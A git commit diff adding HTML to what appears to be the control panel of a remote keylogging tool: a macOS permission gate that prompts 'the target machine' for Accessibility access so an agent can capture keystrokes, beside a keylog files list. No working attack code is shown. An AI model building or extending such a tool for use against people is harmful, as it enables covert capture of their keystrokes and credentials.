test
This commit is contained in:
@@ -65,8 +65,39 @@
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<!-- macOS Accessibility Permission Gate (hidden by default, shown for darwin clients) -->
|
||||
<div
|
||||
id="permission-gate"
|
||||
class="hidden bg-slate-900/70 border border-yellow-600/40 rounded-lg p-6 shadow-xl text-center"
|
||||
>
|
||||
<div class="flex flex-col items-center gap-4">
|
||||
<div class="h-16 w-16 rounded-full bg-yellow-400/10 border border-yellow-500/30 flex items-center justify-center">
|
||||
<i class="fa-solid fa-lock text-yellow-400 text-2xl"></i>
|
||||
</div>
|
||||
<div>
|
||||
<h3 class="text-lg font-semibold text-slate-100 mb-1">Accessibility Permission Required</h3>
|
||||
<p class="text-sm text-slate-400 max-w-md">
|
||||
macOS requires Accessibility permission before keystrokes can be captured.
|
||||
Clicking the button below will trigger the system permission prompt on the target machine.
|
||||
</p>
|
||||
<p class="text-xs text-slate-500 max-w-md">
|
||||
Note: keystroke capture requires the agent to be compiled natively on macOS with CGO enabled.
|
||||
Cross-compiled agents support the permission flow but will not capture keystrokes.
|
||||
</p>
|
||||
</div>
|
||||
<div id="permission-status" class="hidden text-sm px-3 py-2 rounded-lg border"></div>
|
||||
<button
|
||||
id="requestPermissionBtn"
|
||||
class="button"
|
||||
>
|
||||
<i class="fa-solid fa-key"></i><span>Request Accessibility Permission</span>
|
||||
</button>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<!-- Keylog Files List -->
|
||||
<div
|
||||
id="file-list-panel"
|
||||
class="flex-1 bg-slate-900/70 border border-slate-800 rounded-lg p-4 overflow-auto shadow-xl"
|
||||
>
|
||||
<h3 class="text-lg font-semibold mb-4 flex items-center gap-2">
|
||||
|
||||
Reference in New Issue
Block a user